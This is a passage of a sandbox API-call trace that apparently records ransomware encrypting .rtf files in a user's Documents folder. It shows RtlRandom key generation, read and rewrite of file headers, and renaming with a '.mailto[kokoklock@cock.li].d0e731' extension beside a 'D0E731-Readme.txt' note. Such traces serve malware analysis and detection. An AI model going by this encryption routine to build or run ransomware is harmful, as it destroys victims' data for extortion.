0xf1717868 [0083.669] RtlRandom (in: Seed=0x2a0bf7a8 | out: Seed=0x2a0bf7a8) returned 0xe9614f67 [0083.669] RtlRandom (in: Seed=0x2a0bf7a8 | out: Seed=0x2a0bf7a8) returned 0xb361b86 [0083.669] RtlRandom (in: Seed=0x2a0bf7a8 | out: Seed=0x2a0bf7a8) returned 0xf7e8eb27 [0083.669] RtlRandom (in: Seed=0x2a0bf7a8 | out: Seed=0x2a0bf7a8) returned 0xcbea2e1a [0083.669] RtlRandom (in: Seed=0x2a0bf7a8 | out: Seed=0x2a0bf7a8) returned 0xf501f37b [0083.669] RtlRandom (in: Seed=0x2a0bf7a8 | out: Seed=0x2a0bf7a8) returned 0xa8aaab4c [0083.669] RtlRandom (in: Seed=0x2a0bf7a8 | out: Seed=0x2a0bf7a8) returned 0x21a44168 [0083.669] RtlRandom (in: Seed=0x2a0bf7a8 | out: Seed=0x2a0bf7a8) returned 0xffbf036c [0083.669] RtlRandom (in: Seed=0x2a0bf7a8 | out: Seed=0x2a0bf7a8) returned 0x5f1c2716 [0083.669] RtlRandom (in: Seed=0x2a0bf7a8 | out: Seed=0x2a0bf7a8) returned 0x9c6a9266 [0083.669] RtlRandom (in: Seed=0x2a0bf7a8 | out: Seed=0x2a0bf7a8) returned 0xf07bb179 [0083.669] RtlRandom (in: Seed=0x2a0bf7a8 | out: Seed=0x2a0bf7a8) returned 0xb8500e66 [0083.669] RtlRandom (in: Seed=0x2a0bf7a8 | out: Seed=0x2a0bf7a8) returned 0xb844b19e [0083.669] RtlRandom (in: Seed=0x2a0bf7a8 | out: Seed=0x2a0bf7a8) returned 0x4e3e5405 [0083.669] RtlRandom (in: Seed=0x2a0bf7a8 | out: Seed=0x2a0bf7a8) returned 0x2f03fb88 [0083.669] RtlRandom (in: Seed=0x2a0bf7a8 | out: Seed=0x2a0bf7a8) returned 0x3ab2d42d [0083.669] RtlRandom (in: Seed=0x2a0bf7a8 | out: Seed=0x2a0bf7a8) returned 0xa6466629 [0083.669] RtlRandom (in: Seed=0x2a0bf7a8 | out: Seed=0x2a0bf7a8) returned 0x8a562948 [0083.669] RtlRandom (in: Seed=0x2a0bf7a8 | out: Seed=0x2a0bf7a8) returned 0x18a6d5a0 [0083.669] RtlRandom (in: Seed=0x2a0bf7a8 | out: Seed=0x2a0bf7a8) returned 0x8e8425bc [0083.669] RtlRandom (in: Seed=0x2a0bf7a8 | out: Seed=0x2a0bf7a8) returned 0x493d62c7 [0083.669] RtlRandom (in: Seed=0x2a0bf7a8 | out: Seed=0x2a0bf7a8) returned 0x487fac1c [0083.669] RtlRandom (in: Seed=0x2a0bf7a8 | out: Seed=0x2a0bf7a8) returned 0x4f5b3d89 [0083.669] RtlRandom (in: Seed=0x2a0bf7a8 | out: Seed=0x2a0bf7a8) returned 0x89c22e72 [0083.669] RtlRandom (in: Seed=0x2a0bf7a8 | out: Seed=0x2a0bf7a8) returned 0xf3c3975b [0083.669] RtlRandom (in: Seed=0x2a0bf7a8 | out: Seed=0x2a0bf7a8) returned 0x1030f6da [0083.669] RtlRandom (in: Seed=0x2a0bf7a8 | out: Seed=0x2a0bf7a8) returned 0x96a74748 [0083.669] RtlRandom (in: Seed=0x2a0bf7a8 | out: Seed=0x2a0bf7a8) returned 0x47f9120 [0083.680] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347fdf0) returned 1 [0083.680] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d618) returned 1 [0083.680] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0083.680] SetFilePointerEx (in: hFile=0x728, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.680] ReadFile (in: hFile=0x728, lpBuffer=0x3482218, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x2a0bf774, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesRead=0x2a0bf774*=0x4096, lpOverlapped=0x0) returned 1 [0083.680] SetFilePointerEx (in: hFile=0x728, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.680] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd358 [0083.680] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x347f940 [0083.680] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d320 [0083.680] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d320) returned 1 [0083.681] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348d230 [0083.681] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d320 [0083.681] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d5c8 [0083.681] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d5c8) returned 1 [0083.681] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347f940) returned 1 [0083.681] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd358) returned 1 [0083.681] WriteFile (in: hFile=0x728, lpBuffer=0x348d230*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x2a0bf774, lpOverlapped=0x0 | out: lpBuffer=0x348d230*, lpNumberOfBytesWritten=0x2a0bf774*=0x4096, lpOverlapped=0x0) returned 1 [0083.681] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348d230) returned 1 [0083.681] SetFilePointerEx (in: hFile=0x728, liDistanceToMove=0x15532, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.681] WriteFile (in: hFile=0x728, lpBuffer=0x342d320*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2a0bf7ac, lpOverlapped=0x0 | out: lpBuffer=0x342d320*, lpNumberOfBytesWritten=0x2a0bf7ac*=0x20, lpOverlapped=0x0) returned 1 [0083.681] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d320) returned 1 [0083.681] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0083.681] WriteFile (in: hFile=0x728, lpBuffer=0x342d2f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2a0bf7c0, lpOverlapped=0x0 | out: lpBuffer=0x342d2f8*, lpNumberOfBytesWritten=0x2a0bf7c0*=0x8, lpOverlapped=0x0) returned 1 [0083.681] WriteFile (in: hFile=0x728, lpBuffer=0x2a0bf7d8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2a0bf7c0, lpOverlapped=0x0 | out: lpBuffer=0x2a0bf7d8*, lpNumberOfBytesWritten=0x2a0bf7c0*=0x4, lpOverlapped=0x0) returned 1 [0083.682] WriteFile (in: hFile=0x728, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2a0bf7c0, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2a0bf7c0*=0x4, lpOverlapped=0x0) returned 1 [0083.682] WriteFile (in: hFile=0x728, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2a0bf7c0, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2a0bf7c0*=0x6c, lpOverlapped=0x0) returned 1 [0083.682] WriteFile (in: hFile=0x728, lpBuffer=0x342d578*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2a0bf7c0, lpOverlapped=0x0 | out: lpBuffer=0x342d578*, lpNumberOfBytesWritten=0x2a0bf7c0*=0x20, lpOverlapped=0x0) returned 1 [0083.682] WriteFile (in: hFile=0x728, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2a0bf7c0, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2a0bf7c0*=0x4, lpOverlapped=0x0) returned 1 [0083.682] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d578) returned 1 [0083.682] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d528) returned 1 [0083.682] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d2f8) returned 1 [0083.682] CloseHandle (hObject=0x728) returned 1 [0084.885] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xfe) returned 0x3435278 [0084.885] wcscpy (in: _Dest=0x3435278, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\VgIqgvrv2ybjHhzDV.rtf" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\VgIqgvrv2ybjHhzDV.rtf") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\VgIqgvrv2ybjHhzDV.rtf" [0084.885] wcscat (in: _Dest=0x3435278, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\VgIqgvrv2ybjHhzDV.rtf.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\VgIqgvrv2ybjHhzDV.rtf.mailto[kokoklock@cock.li].d0e731" [0084.885] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\VgIqgvrv2ybjHhzDV.rtf" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\iek-\\n1jh8g4oijpkjwnj\\vgiqgvrv2ybjhhzdv.rtf"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\VgIqgvrv2ybjHhzDV.rtf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\iek-\\n1jh8g4oijpkjwnj\\vgiqgvrv2ybjhhzdv.rtf.mailto[kokoklock@cock.li].d0e731")) returned 1 [0084.915] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\VgIqgvrv2ybjHhzDV.rtf.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0084.916] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3435278) returned 1 [0084.916] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\VgIqgvrv2ybjHhzDV.rtf", dwFileAttributes=0x20) returned 0 [0084.916] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb6) returned 0x34311c0 [0084.916] wcscpy (in: _Dest=0x34311c0, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\" [0084.916] wcscat (in: _Dest=0x34311c0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\D0E731-Readme.txt" [0084.916] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\iek-\\n1jh8g4oijpkjwnj\\d0e731-readme.txt")) returned 0x20 [0084.916] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34311c0) returned 1 [0084.916] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34862e8) returned 1 [0084.916] RtlExitUserThread (Status=0x1) Thread: id = 1193 os_tid = 0xa98 [0083.683] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\xi1Sv_Kf8ZoPqwv5l-v.rtf" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\iek-\\n1jh8g4oijpkjwnj\\xi1sv_kf8zopqwv5l-v.rtf")) returned 0x20 [0083.683] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\xi1Sv_Kf8ZoPqwv5l-v.rtf", dwFileAttributes=0x20) returned 1 [0083.683] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\xi1Sv_Kf8ZoPqwv5l-v.rtf" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\iek-\\n1jh8g4oijpkjwnj\\xi1sv_kf8zopqwv5l-v.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x728 [0083.683] GetFileSizeEx (in: hFile=0x728, lpFileSize=0x2a13fb8c | out: lpFileSize=0x2a13fb8c*=82099) returned 1 [0083.683] SetFilePointerEx (in: hFile=0x728, liDistanceToMove=0x140af, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.683] ReadFile (in: hFile=0x728, lpBuffer=0x2a13fb60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2a13fb5c, lpOverlapped=0x0 | out: lpBuffer=0x2a13fb60*, lpNumberOfBytesRead=0x2a13fb5c*=0x4, lpOverlapped=0x0) returned 1 [0083.684] SetFilePointerEx (in: hFile=0x728, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.684] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d618 [0083.684] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d578 [0083.684] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d488 [0083.684] NtQuerySystemTime (in: CurrentTime=0x2a13fb38 | out: CurrentTime=0x2a13fb38*=132121176415704202) returned 0x0 [0083.684] RtlRandom (in: Seed=0x2a13fb44 | out: Seed=0x2a13fb44) returned 0x4c971309 [0083.684] RtlRandom (in: Seed=0x2a13fb44 | out: Seed=0x2a13fb44) returned 0xcb30342e [0083.684] RtlRandom (in: Seed=0x2a13fb44 | out: Seed=0x2a13fb44) returned 0x5c14462a [0083.684] RtlRandom (in: Seed=0x2a13fb44 | out: Seed=0x2a13fb44) returned 0xb9e4a733 [0083.684] RtlRandom (in: Seed=0x2a13fb44 | out: Seed=0x2a13fb44) returned 0x853d4cfe [0083.684] RtlRandom (in: Seed=0x2a13fb44 | out: Seed=0x2a13fb44) returned 0xf5cc4500 [0083.685] RtlRandom (in: Seed=0x2a13fb44 | out: Seed=0x2a13fb44) returned 0xc26170c4 [0083.685] RtlRandom (in: Seed=0x2a13fb44 | out: Seed=0x2a13fb44) returned 0x58476863 [0083.685] RtlRandom (in: Seed=0x2a13fb44 | out: Seed=0x2a13fb44) returned 0x8c273b75 [0083.685] RtlRandom (in: Seed=0x2a13fb44 | out: Seed=0x2a13fb44) returned 0x1314fbc [0083.685] RtlRandom (in: Seed=0x2a13fb44 | out: Seed=0x2a13fb44) returned 0x809bc030 [0083.685] RtlRandom (in: Seed=0x2a13fb44 | out: Seed=0x2a13fb44) returned 0x4b7490a5 [0083.685] RtlRandom (in: Seed=0x2a13fb44 | out: Seed=0x2a13fb44) returned 0x4d5959b1 [0083.685] RtlRandom (in: Seed=0x2a13fb44 | out: Seed=0x2a13fb44) returned 0x887a5826 [0083.685] RtlRandom (in: Seed=0x2a13fb44 | out: Seed=0x2a13fb44) returned 0x8156dd7f [0083.685] RtlRandom (in: Seed=0x2a13fb44 | out: Seed=0x2a13fb44) returned 0xcab4921f [0083.685] RtlRandom (in: Seed=0x2a13fb44 | out: Seed=0x2a13fb44) returned 0xc07d4f30 [0083.685] RtlRandom (in: Seed=0x2a13fb44 | out: Seed=0x2a13fb44) returned 0xb48967ec [0083.685] RtlRandom (in: Seed=0x2a13fb44 | out: Seed=0x2a13fb44) returned 0x2a815ce7 [0083.685] RtlRandom (in: Seed=0x2a13fb44 | out: Seed=0x2a13fb44) returned 0xe1a1429b [0083.685] RtlRandom (in: Seed=0x2a13fb44 | out: Seed=0x2a13fb44) returned 0x8af44bb8 [0083.685] RtlRandom (in: Seed=0x2a13fb44 | out: Seed=0x2a13fb44) returned 0xef59c0d4 [0083.685] RtlRandom (in: Seed=0x2a13fb44 | out: Seed=0x2a13fb44) returned 0xf4938336 [0083.685] RtlRandom (in: Seed=0x2a13fb44 | out: Seed=0x2a13fb44) returned 0x80988236 [0083.685] RtlRandom (in: Seed=0x2a13fb44 | out: Seed=0x2a13fb44) returned 0x28bb893e [0083.685] RtlRandom (in: Seed=0x2a13fb44 | out: Seed=0x2a13fb44) returned 0xb529e06c [0083.685] RtlRandom (in: Seed=0x2a13fb44 | out: Seed=0x2a13fb44) returned 0x6811c1fa [0083.685] RtlRandom (in: Seed=0x2a13fb44 | out: Seed=0x2a13fb44) returned 0x19c72b35 [0083.686] RtlRandom (in: Seed=0x2a13fb44 | out: Seed=0x2a13fb44) returned 0x4a057eaf [0083.686] RtlRandom (in: Seed=0x2a13fb44 | out: Seed=0x2a13fb44) returned 0x2a86b464 [0083.686] RtlRandom (in: Seed=0x2a13fb44 | out: Seed=0x2a13fb44) returned 0x3da8e8c5 [0083.686] RtlRandom (in: Seed=0x2a13fb44 | out: Seed=0x2a13fb44) returned 0x5690995f [0083.696] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347fdf0) returned 1 [0083.696] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d618) returned 1 [0083.696] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0083.696] SetFilePointerEx (in: hFile=0x728, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.696] ReadFile (in: hFile=0x728, lpBuffer=0x3482218, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x2a13fb10, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesRead=0x2a13fb10*=0x4096, lpOverlapped=0x0) returned 1 [0083.696] SetFilePointerEx (in: hFile=0x728, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.696] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd358 [0083.696] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x347f940 [0083.696] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d320 [0083.696] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d320) returned 1 [0083.697] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348d230 [0083.697] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d320 [0083.697] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d5c8 [0083.697] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d5c8) returned 1 [0083.697] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347f940) returned 1 [0083.697] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd358) returned 1 [0083.697] WriteFile (in: hFile=0x728, lpBuffer=0x348d230*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x2a13fb10, lpOverlapped=0x0 | out: lpBuffer=0x348d230*, lpNumberOfBytesWritten=0x2a13fb10*=0x4096, lpOverlapped=0x0) returned 1 [0083.697] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348d230) returned 1 [0083.697] SetFilePointerEx (in: hFile=0x728, liDistanceToMove=0x140b3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.697] WriteFile (in: hFile=0x728, lpBuffer=0x342d320*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2a13fb48, lpOverlapped=0x0 | out: lpBuffer=0x342d320*, lpNumberOfBytesWritten=0x2a13fb48*=0x20, lpOverlapped=0x0) returned 1 [0083.698] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d320) returned 1 [0083.698] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0083.698] WriteFile (in: hFile=0x728, lpBuffer=0x342d2f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2a13fb5c, lpOverlapped=0x0 | out: lpBuffer=0x342d2f8*, lpNumberOfBytesWritten=0x2a13fb5c*=0x8, lpOverlapped=0x0) returned 1 [0083.698] WriteFile (in: hFile=0x728, lpBuffer=0x2a13fb74*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2a13fb5c, lpOverlapped=0x0 | out: lpBuffer=0x2a13fb74*, lpNumberOfBytesWritten=0x2a13fb5c*=0x4, lpOverlapped=0x0) returned 1 [0083.698] WriteFile (in: hFile=0x728, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2a13fb5c, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2a13fb5c*=0x4, lpOverlapped=0x0) returned 1 [0083.698] WriteFile (in: hFile=0x728, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2a13fb5c, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2a13fb5c*=0x6c, lpOverlapped=0x0) returned 1 [0083.698] WriteFile (in: hFile=0x728, lpBuffer=0x342d578*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2a13fb5c, lpOverlapped=0x0 | out: lpBuffer=0x342d578*, lpNumberOfBytesWritten=0x2a13fb5c*=0x20, lpOverlapped=0x0) returned 1 [0083.698] WriteFile (in: hFile=0x728, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2a13fb5c, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2a13fb5c*=0x4, lpOverlapped=0x0) returned 1 [0083.698] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d578) returned 1 [0083.698] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d528) returned 1 [0083.698] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d2f8) returned 1 [0083.698] CloseHandle (hObject=0x728) returned 1 [0084.886] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x102) returned 0x3496108 [0084.886] wcscpy (in: _Dest=0x3496108, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\xi1Sv_Kf8ZoPqwv5l-v.rtf" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\xi1Sv_Kf8ZoPqwv5l-v.rtf") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\xi1Sv_Kf8ZoPqwv5l-v.rtf" [0084.886] wcscat (in: _Dest=0x3496108, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\xi1Sv_Kf8ZoPqwv5l-v.rtf.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\xi1Sv_Kf8ZoPqwv5l-v.rtf.mailto[kokoklock@cock.li].d0e731" [0084.886] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\xi1Sv_Kf8ZoPqwv5l-v.rtf" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\iek-\\n1jh8g4oijpkjwnj\\xi1sv_kf8zopqwv5l-v.rtf"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\xi1Sv_Kf8ZoPqwv5l-v.rtf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\iek-\\n1jh8g4oijpkjwnj\\xi1sv_kf8zopqwv5l-v.rtf.mailto[kokoklock@cock.li].d0e731")) returned 1 [0084.906] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\xi1Sv_Kf8ZoPqwv5l-v.rtf.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0084.907] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3496108) returned 1 [0084.907] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\xi1Sv_Kf8ZoPqwv5l-v.rtf", dwFileAttributes=0x20) returned 0 [0084.907] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb6) returned 0x3430b00 [0084.907] wcscpy (in: _Dest=0x3430b00, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\" [0084.907] wcscat (in: _Dest=0x3430b00, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\D0E731-Readme.txt" [0084.907] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\iek-\\n1jh8g4oijpkjwnj\\d0e731-readme.txt")) returned 0x20 [0084.913] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3430b00) returned 1 [0084.913] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3486798) returned 1 [0084.913] RtlExitUserThread (Status=0x1) Thread: id = 1194 os_tid = 0x2e8 [0083.699] 